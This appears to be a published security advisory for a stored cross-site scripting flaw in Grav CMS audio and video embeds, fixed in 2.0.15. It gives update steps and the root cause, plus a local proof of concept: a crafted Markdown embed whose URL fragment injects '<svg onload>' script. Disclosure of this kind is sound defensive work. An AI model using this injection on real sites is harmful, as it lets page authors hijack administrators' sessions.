- Package
- getgrav/grav
- Fixed in
- 2.0.15
- Published
- Thu 17 Sep 2026, 18:31 LisbonUpdated Mon 26 Oct 2026, 00:26 Lisbon
- Installs on Packagist
- 91K
In plain words
A page author with page-edit rights can store malicious JavaScript in a Markdown audio or video embed. The script runs when someone views the page, without any further interaction, and can act within a logged-in administrator's same-origin Grav Admin session. The image rendering path is not affected.
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| getgrav/grav | <= 2.0.14 | 2.0.15 |
Am I affected?
Look for getgrav/grav in composer.lock: versions <= 2.0.14 are affected; 2.0.15 is fixed. Check whether page authors can add or edit Markdown audio or video embeds, and review those embeds for media URLs containing fragments. The vulnerable path is audio/video rendering, not image rendering.
What to do
Check which version you have, then update to a fixed release for your branch (2.0.15):
composer show getgrav/grav | grep versions
composer update getgrav/grav
If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.
If you cannot update yet
The advisory suggests escaping the media URL with htmlspecialchars() before inserting it into raw HTML in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement(), or using Parsedown's escaped-attribute mechanism instead. It also recommends encoding the URL fragment in MediaObjectTrait::urlHash().
The advisory's description
Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so >) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
- The GFM tagfilter —
ParsedownGravTrait::filterDisallowedRawHtml()L528-535 — escapes<only fortitle|textarea|style|xmp|iframe|noembed|noframes|script|plaintext.<svg>and<img>are not on the list, so they inject as live markup. - The
__callquerystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their=()and execute.
The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
- PHP >= 8.0 with the built-in web server (verified on 8.5)
- curl
- unzip
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
>)
MD
Step 3: Start Grav
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
kill %1 2>/dev/null
rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Reported by alimony.
The advisory
- GitHub Advisory Database: GHSA-6qw9-4vv5-jr97, with who is affected and how
- OSV.dev: GHSA-6qw9-4vv5-jr97
- The week's digest, with the other advisories from 14 Sep 2026
- All advisories for getgrav/grav